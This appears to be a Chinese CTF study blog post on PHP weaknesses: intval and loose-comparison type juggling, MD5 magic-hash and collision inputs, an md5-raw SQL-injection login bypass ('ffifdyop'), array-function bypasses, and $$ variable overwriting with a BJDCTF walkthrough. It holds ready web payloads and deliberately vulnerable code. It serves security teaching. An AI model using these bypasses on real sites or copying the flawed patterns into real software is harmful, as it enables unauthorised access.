php特性

发布时间 2023-11-25 21:59:33作者: Hermitaria

PHP intval() 函数

基本类型

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。
  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

判断是否为intval

payload尝试

news.php?id=13

news.php?id=1

news.php?id[]=13

加入后端php的函数为$id=intval($_GET['id']);

那么两个payload的回显是一样的

news.php?id=1

news.php?id[]=13

因为intval函数的性质intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

如果这两个的payload的回显是一样的

news.php?id=13

news.php?id[]=13

那么后端php的函数不是intval

类型转换问题

intval() 函数可以将字符串string类型转换成整数int类型。(取整函数)

var_dump(intval(4))//4

var_dump(intval(‘1asd’))//1

var_dump(intval(‘asd1’))//0

上面三个例子说明了intval()函数在转换字符串的时候即使碰到不能转换的字符串的时候它也不会报错,而是返回0。

绕过例子

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格
intval('+010574')===4476   正号+8进制

php比较运算符

“= =”:会把两端变量类型转换成相同的,在进行比较。

“= = =”:会先判断两端变量类型是否相同,在进行比较。

简单来说,“=”比较两个变量的值和类型;“”比较两个变量的值,不比较数据类型。

$a = '123';
$b = 123;
$a === $b为假;
$a == $b为真;

字符串和整数

这里明确说明,在两个相等的符号中,一个字符串与一个数字相比较时,字符串会转换成数值。

例如

<?php
 var_dump("name"==0);  //true
 var_dump("1name"==1); //true
 var_dump("name1"==1) //false
 var_dump("name1"==0) //true
 var_dump("0e123456"=="0e4456789"); //true
 ?>

当一个字符串当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内,该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

科学计数法

"0e132456789"=="0e7124511451155" //true
"0e1abc"=="0"     //true4219903

当出现xex模式的时候代表科学计数法,比如1e3=1*10三次方,在进行比较运算时,如果遇到了0e\d+(意思就是0e就是0e,d+的意思是后面全部是数字)这种字符串,就会将这种字符串解析为科学计数法。所以无论0e后面是什么,0的多少次方还是0。

md5

弱比较
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

php中,md5()函数只能处理字符串类型

md5(string,raw) string为字符串;raw可选,规定输出格式,TRUE - 原始 16 字符二进制格式 FALSE - 默认。32 字符十六进制数。

如果处理数组,返回NULL值,两个数组经过md5处理后再强比较类型为相等

a[]=1&b[]=2 post方式

弱比较(md5类型转换)
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}

绕过:

只需要输入一个数字和字符串进行MD5加密之后都为0e的即可得出答案

a=240610708&b=QNKCDZO
强比较
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

这一大长串的编码,他们的md5值是相等的,原理是将hex字符串转化为ascii字符串,并写入到bin文件 考虑到要将一些不可见字符传到服务器,这里使用url编码

SQL注入绕过

突破点在md5($pass,true)这里,先来看看md5函数的用法:

img

可以看到这里的raw参数是True,意为返回原始16字符二进制格式。

也就是说如果md5值经过hex转成字符串后为 'or'+balabala这样的字符串,则拼接后构成的SQL语句为:

select * from `admin` where password=''or'balabala'

当'or'后面的值为True时,即可构成万能密码实现SQL注入,这里我们需要知道的是MySQL的一个特性:

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。

要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。

当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。 当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

select * from `admin` where password=''or'1abcdefg'    --->  True
select * from `admin` where password=''or'0abcdefg'    --->  False
select * from `admin` where password=''or'1'           --->  True
select * from `admin` where password=''or'2'           --->  True
select * from `admin` where password=''or'0'           --->  False

只要'or'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点。

我们可以通过这个脚本来获得满足我们要求的明文:

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

//引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

这里提供一个最常用的:ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or'6 (其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的会在MySQL将其转换成整型比较时丢掉)

十六进制转换

"0x1e240"=="123456" //true
"0x1e240"==123456 //true
"0x1e240"=="1e240"//false

php在接受一个带0x的字符串的时候,会自动把这行字符串解析成十进制的再进行比较,0x1e240解析成十进制就是123456,并且与字符串类型的123456和int型的123456都相同。

布尔值转换问题

<?php
If ( true=“name”){
echo
“success”;
}

布尔值可以和任何字符串相等

php正则匹配

正则表达式修饰符

修正符号 功能描述
i 在和正则匹配是不区分大小写
m 将字符串视为多行。默认的正则开始“”和结束“$”将目标字条串作为一单一的一“行”字符(甚至其中包括换行符也是如此)。如果在修饰符中加上“m”,那么开始和结束将会指点字符串的每一行的开头就是“”结束就是“$”。
s 如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。
x 忽略空白,除非进行转义的不被忽略。
e 只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其(即“替换字符串”)作为PHP代码求值,并用其结果来替换所搜索的字符串。
A 如果使用这个修饰符,那么表达式必须是匹配的字符串中的开头部分。比如说”/a/A”匹配”abcd”。
D 模式中的$字符权匹配目标字符的结尾。没有此选项时,如果最后一个字符是换行符的话,美元符号也会匹配此字符之前。如果设定了修正符m则忽略此项。
E 与”m”相反,如果使用这个修饰符,那么”$”将匹配绝对字符串的结尾,而不是换行符前面,默认就打开了这个模式。
U 贪婪模式,和问号的作用差不多,最大限度的匹配就是贪婪模式。

贪婪模式

比如我们要匹配以字母“a”开头字母“b”结尾的字符串,但是需要匹配的字符串在“a”后面含有很多个“b”,比如“a bbbbbbbbbbbbbbbbb”,如果你使用了贪婪模式,那么会匹配到最后一个“b”,反之只是匹配到第一个“b”。

PHP正则表达式贪婪模式使用实例:

  1. /a.+?b/
  2. /a.+b/U

对比不使用贪婪模式的实例如下:

  1. /a.+b/

Array系列函数绕过

array_search() 函数在数组中搜索某个键值,并返回对应的键名。in_array() 函数搜索数组中是否存在指定的值。基本功能是相同的,也就是说绕过姿势也相同。Array系列有两种安全问题,一种是正常的数组绕过,一种是“= =”号问题。

in_array

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

in_array()的特性,弱比较特性,'1.php'==1

$array=[0,1,2,'3'];
var_dump(in_array('abc', $array));  //true “abc”==0
var_dump(in_array('1bc', $array));  //true “1bc”==1
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
    if($test[$i]==="admin"){
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
    echo "flag";
}
else{
    echo "false";
}
?>

这段代码的意思就是先判断是不是数组,然后在把数组中的内容一个个进行遍历,所有内容都不能等于admin,类型也必须相同,然后转化成int型,然后再进行比较如果填入值与admin相同,则返回flag

基本思路还是不变,因为用的是三个等于号,所以说“= =”号这个方法基本不能用,那就用第二条思路,利用函数接入到了不符合的类型返回“0”这个特性,直接绕过检测。所以payload:test[]=0。

反射类ReflectionClass

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

php变量覆盖($$)

$$介绍

$$这种写法称为可变变量 一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

<?php
$a = "hello";
echo "$a"; //输出hello
$a = "world";
echo "$$a"; //输出$world
?>

漏洞产生

使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。

<?php
$a = "hello";
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a; //输出根据get传入的参数而定,造成覆盖
?>

get得到的数据$key和$value,关键第3行,${$key}用get传进来的$key做为新的变量,将get传进来的$value赋值给它。 get ?a=1 第4行回解析为$a=1。就造成了变量覆盖,最后输出1

例题

[BJDCTF2020]Mark loves cat
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

1、前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。

2、首先我们想到的是让脚本执行到最后一句echo $flag;,但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成$flag = $aaa,而$aaa变量没有定义为空,最后的输出就是空。同理POST传参flag=aaa,在第一个foreach语句中变成$flag = aaa,flag会被覆盖成aaa,最后输出aaa。

3、if语句中的exit()函数虽然会退出执行,但也会输出其参数,我们可以利用变量覆盖将exit()函数内的参数用$flag覆盖掉就能输出flag了

方法一:

利用$yds输出。

第二个if语句只需不存在get和post型flag参数即可

那么通过get传入?yds=flag,通过第二个foreach语句变成$yds=$flag,完成覆盖,输出$yds即输出$flag

方法二:

利用$is输出

通过get传入?is=flag&flag=flag,前面的达到$is=$flag覆盖的目的,后面的只为了满足if语句。

而post的话完成不了,如果post传入flag=flag,传入后变成$flag=flag,原来的flag值会被覆盖。